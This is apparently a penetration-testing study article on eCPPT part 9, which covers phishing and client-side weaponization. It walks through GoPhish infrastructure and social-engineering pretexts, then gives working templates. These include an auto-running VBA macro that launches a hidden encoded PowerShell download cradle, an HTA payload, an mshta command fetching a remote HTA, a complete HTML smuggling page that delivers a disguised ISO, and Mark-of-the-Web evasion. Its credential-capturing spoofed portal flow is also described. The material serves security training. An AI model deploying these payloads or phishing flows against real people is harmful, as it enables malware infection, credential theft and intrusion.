eCPPT Deep-Dive: Part 9 - Client-Side Attacks: Weaponization & Phishing Delivery
An exhaustive technical breakdown of Part 9 of the eCPPT curriculum: social engineering psychology, GoPhish campaign infrastructure, Microsoft Office VBA macro weaponization, HTML Application (HTA) payloads, HTML Smuggling, and Mark-of-the-Web (MOTW) container evasion.

When enterprise perimeter firewalls are strictly hardened, zero inbound services are exposed to the public internet, and web applications are rigorously patched, organizations often consider themselves impervious to external compromise. Yet time and again, penetration testers and advanced threat actors breach these environments through the weakest link: the human user behind the browser or email client.
In this deep dive covering Part 9 of the eCPPT (eLearnSecurity Certified Professional Penetration Tester) curriculum, we break down the operational mechanics of Client-Side Attacks. We examine social engineering psychological frameworks, configure enterprise phishing infrastructure using GoPhish, develop weaponized Office VBA Macros, execute HTML Application (HTA) attacks, and bypass perimeter security proxies using HTML Smuggling and Mark-of-the-Web (MOTW) evasion techniques.
Key Takeaways
- Inbound vs. Outbound Threat Vectors: Unlike server-side attacks that require direct inbound connectivity to a listening port, client-side attacks rely on outbound connections initiated by trusted internal users, completely bypassing inbound firewall rules.
- Cialdini’s Psychological Principles: Successful phishing pretexts leverage proven persuasion triggers: Authority (IT security mandates), Scarcity/Urgency (mandatory password reset deadlines), Social Proof (departmental compliance updates), and Consistency.
- Phishing Infrastructure Hygiene: High-deliverability phishing servers deployed via GoPhish require rigorous DNS authentication alignment: SPF (authorized sender IP ranges), DKIM (cryptographic header signing), and DMARC policy enforcement to prevent spoofing detection.
- VBA Macro Weaponization: Crafting malicious Microsoft Office documents utilizing
AutoOpen()andDocument_Open()subroutines that dynamically invoke Windows API calls or execute obfuscated in-memory payloads using tools such as MacroPack. - HTML Smuggling & MOTW Container Bypasses: Bypassing web proxies and email gateways by constructing malicious binary payloads dynamically in the victim’s browser using JavaScript Blobs. Delivering these payloads inside container formats (such as ISO and VHD) avoids the NTFS
Zone.IdentifierMark-of-the-Web flag, neutralizing Microsoft SmartScreen warnings.
1. End-to-End Client-Side Attack Pipeline
flowchart TD
subgraph ReconPhase ["Phase 1: Target Intelligence & Pretexting"]
OSINT["Employee Reconnaissance & OSINT<br/>(LinkedIn / Hunter.io / theHarvester)"]
Pretext["Pretext Construction & Scenario Crafting<br/>(Urgent IT Compliance / Invoice Review)"]
end
subgraph InfraPhase ["Phase 2: Infrastructure Deployment"]
GoPhish["Deploy GoPhish Server & Campaign Templates"]
DNSConfig["Configure Clean Email DNS: SPF, DKIM, DMARC"]
end
subgraph WeaponPhase ["Phase 3: Payload Weaponization"]
Macro["VBA Macro Embedded in Word / Excel (.docm)"]
Smuggle["HTML Smuggling Page Generating ISO / LNK Container"]
end
subgraph DeliveryPhase ["Phase 4: Delivery & Execution"]
MailDelivery["Spear-Phishing Email Transmission"]
VictimClick["Victim Opens Link or Downloads Attachment"]
MOTWBypass["Bypass SmartScreen & MOTW via ISO Container"]
Beacon["Instant Reverse C2 Connection to Team Server!"]
end
OSINT --> Pretext --> GoPhish --> DNSConfig --> Macro & Smuggle --> MailDelivery --> VictimClick --> MOTWBypass --> Beacon
2. Social Engineering Psychology & Target Profiling
Successful social engineering exploits human psychological heuristics identified by Dr. Robert Cialdini:
- Authority: Posing as senior executive leadership, corporate legal counsel, or internal IT compliance teams.
- Urgency & Scarcity: Establishing strict deadlines (e.g., “Account suspended within 15 minutes unless verified”).
- Consistency & Social Proof: Referencing corporate events, department colleagues, or enterprise software migrations (e.g., “Your department’s transition to Microsoft 365”).
Target OSINT and Metadata Profiling:
1
2
3
4
5
# Enumerate employee email addresses and LinkedIn profiles
theHarvester -d targetcompany.com -b linkedin,google -l 200
# Inspect metadata of public corporate documents to identify OS versions and usernames
exiftool -Creator -Author -Producer -Company *.pdf
3. Enterprise Phishing Infrastructure: GoPhish Setup
GoPhish is the premier open-source phishing framework used to conduct authorized simulations and spear-phishing campaigns:
sequenceDiagram
autonumber
actor RedTeam as Red Team Operator
participant GoPhish as GoPhish Server
participant SMTP as Corporate SMTP Relay
actor Victim as Targeted Employee
participant Landing as Spoofed Portal (SSO Landing Page)
RedTeam->>GoPhish: Configure campaign: Sending Profile, Email Template, Landing Page
GoPhish->>SMTP: Transmit email with cryptographic DKIM signature and valid SPF
SMTP->>Victim: Email lands directly in Inbox (bypassing spam filters)
Victim->>Landing: Clicks personalized tracking link in email
Landing->>GoPhish: Records "Email Clicked" telemetry event
Victim->>Landing: Submits credentials on spoofed authentication portal
Landing->>GoPhish: Captures credentials and transparently redirects victim to legitimate portal!
Essential DNS Authentication Configuration:
- SPF (Sender Policy Framework): A TXT record defining which server IPs are authorized to send mail for your domain:
v=spf1 ip4:198.51.100.10 ~all - DKIM (DomainKeys Identified Mail): Generates a public/private cryptographic keypair. The private key signs outgoing email headers, and the public key is published via DNS TXT records.
- DMARC (Domain-based Message Authentication): Directs receiving mail servers how to treat messages that fail SPF/DKIM validation (
p=reject).
4. Microsoft Office VBA Macro Weaponization
Visual Basic for Applications (VBA) allows automatic code execution upon document open via AutoOpen() in Word or Workbook_Open() in Excel.
' Example weaponized VBA macro
Sub AutoOpen()
ExecutePayload
End Sub
Sub Document_Open()
ExecutePayload
End Sub
Sub ExecutePayload()
Dim strCommand As String
Dim objWshShell As Object
' PowerShell cradle executing obfuscated payload in memory
strCommand = "powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8...=="
Set objWshShell = CreateObject("WScript.Shell")
objWshShell.Run strCommand, 0, False
End Sub
Code Obfuscation via MacroPack:
1
2
# Generate highly obfuscated Word document macro bypassing signature detection
macro_pack.exe --obfuscate -t MSWORD -G document.docm
5. HTML Application (HTA) Attacks
HTML Applications (.hta) are standalone Windows applications containing HTML, VBScript, and JScript. Because they are executed natively by mshta.exe, they execute outside the browser security sandbox, possessing full local user permissions!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- Malicious payload.hta -->
<html>
<head>
<script language="VBScript">
Sub Window_OnLoad
Dim objShell
Set objShell = CreateObject("WScript.Shell")
' Spawn hidden PowerShell C2 agent in the background
objShell.Run "powershell.exe -W Hidden -Enc <Base64_Payload>", 0, False
' Immediately terminate the HTA window to minimize visibility
window.close
End Sub
</script>
</head>
<body>
</body>
</html>
Executing remotely via Windows command line:
mshta.exe http://10.10.14.5/payload.hta
6. HTML Smuggling & Mark-of-the-Web (MOTW) Evasion
HTML Smuggling constructs malicious payloads entirely client-side using JavaScript Blobs. Security appliances and firewalls only see benign HTML and JavaScript crossing the wire:
sequenceDiagram
autonumber
actor Victim as Victim Browser (Edge / Chrome)
participant WebServer as Attacker Web Server
participant Gateway as Secure Email / Web Gateway (Proxy)
Victim->>WebServer: Visits benign-looking invoice download page
WebServer-->>Gateway: Transmits clean HTML and obfuscated JavaScript
Gateway-->>Victim: Gateway inspects and permits transmission (no binary seen!)
Note over Victim: JavaScript executes dynamically in memory:<br/>1. Decodes base64-encoded byte array<br/>2. Assembles binary data into a JavaScript Blob<br/>3. Generates object URL via window.URL.createObjectURL(blob)<br/>4. Fires automated download trigger (a.click())
Victim->>Victim: Saves container file (Invoice.iso) directly to Downloads folder!
Production HTML Smuggling Template:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html>
<html>
<head>
<title>Secure Document Portal</title>
</head>
<body>
<h3>Decrypting your secure invoice... please wait.</h3>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) {
bytes[i] = binary_string.charCodeAt(i);
}
return bytes.buffer;
}
var payload = "UEsDBBQAAAAIAAA...[Base64 Encoded ISO Container]...";
var data = base64ToArrayBuffer(payload);
var blob = new Blob([data], {type: 'application/octet-stream'});
var fileName = 'Corporate_Invoice_2026.iso';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>
Bypassing Mark-of-the-Web (MOTW) via ISO Containers:
When Windows downloads a file via the browser, it tags it with an NTFS Alternate Data Stream: Zone.Identifier=3 (Internet Zone). This flag triggers SmartScreen warnings and blocks Office macros.
However, when files are encapsulated inside an ISO or VHD container, Windows mounts the container as a local virtual disk upon double-click. The files inside the mounted image do not inherit the MOTW zone flag! Inside the ISO, we place a disguised Windows Shortcut (.lnk) that executes PowerShell in the background.
Visual Architecture: Client-Side Weaponization & Delivery Pipeline
The following technical diagram details the 4-phase client-side attack lifecycle, from psychological pretexting and email deliverability alignment to HTML Smuggling and container-based MOTW evasion:
Key Architectural Observations from the Diagram:
- The HTML Smuggling Delivery Mechanism: By generating a dynamic file inside a JavaScript
Bloband triggering a synthetica.click()event, the file is assembled directly in browser memory. Perimeter web filtering appliances inspect the HTTP transmission and see only benign HTML and JavaScript, completely failing to detect the compiled executable or ISO container crossing the perimeter. - The MOTW Container Bypass: Standard files downloaded via web browsers inherit the NTFS
Zone.Identifier=3alternate data stream. Encapsulating payloads inside an.isocontainer ensures that when a victim double-clicks to mount the ISO, Windows Explorer assigns it a virtual drive letter, stripping the zone flag from files inside!
Attack Chain Interconnection: Bypassing Perimeter Defenses to Deliver C2 Implants
Client-side attacks represent the ultimate initial access vector when server-side perimeters are impenetrable:
flowchart LR
Part9["Part 9: Phishing / HTML Smuggling Weaponization"] -->|Victim Executes Container Payload| Part7["Part 7: First C2 Beacon Checks into Team Server"]
Part7 -->|Injects In-Memory Commands| Part10["Part 10: In-Memory AMSI Bypass & PowerSploit"]
Part10 -->|Dumps Domain Credentials| Part4["Part 4: Lateral Domain Dominance (Active Directory)"]
- Connection to Part 7 (C2 Infrastructure): The payload delivered by your HTML Smuggling or VBA macro is configured to establish a reverse HTTPS beacon back to the multi-tier C2 redirectors built in Part 7.
- Connection to Part 10 (PowerShell for Pentesters): Windows endpoints are equipped with Windows Defender and AMSI. Delivering a PowerShell stager via client-side phishing requires executing the in-memory AMSI memory patch from Part 10 to prevent Defender from killing the process upon arrival.
Categorized References & Authoritative Sources
1. Phishing & Weaponization Tooling
- GoPhish Official Framework Documentation: https://getgophish.com/documentation/.
- MacroPack by Sevagas: Automated Office document weaponization and macro obfuscation. https://github.com/sevagas/macro_pack.
- Outflank Research: HTML Smuggling: Deep-dive analysis of browser blob assembly. https://outflank.nl/blog/2020/08/18/html-smuggling/.
2. Email Deliverability RFC Specifications
- RFC 7208: Sender Policy Framework (SPF) for Authorizing Email Senders.
- RFC 6376: DomainKeys Identified Mail (DKIM) Signatures.
- RFC 7489: Domain-based Message Authentication, Reporting, and Conformance (DMARC).
3. MITRE ATT&CK Enterprise Techniques
- T1566.001: Phishing: Spearphishing Attachment. https://attack.mitre.org/techniques/T1566/001/.
- T1566.002: Phishing: Spearphishing Link. https://attack.mitre.org/techniques/T1566/002/.
- T1204.002: User Execution: Malicious File. https://attack.mitre.org/techniques/T1204/002/.
- T1027.006: HTML Smuggling. https://attack.mitre.org/techniques/T1027/006/.
Author: Abdulrahman M. Fathi (0x3bdo) • Cyber Security Engineer & Penetration Tester
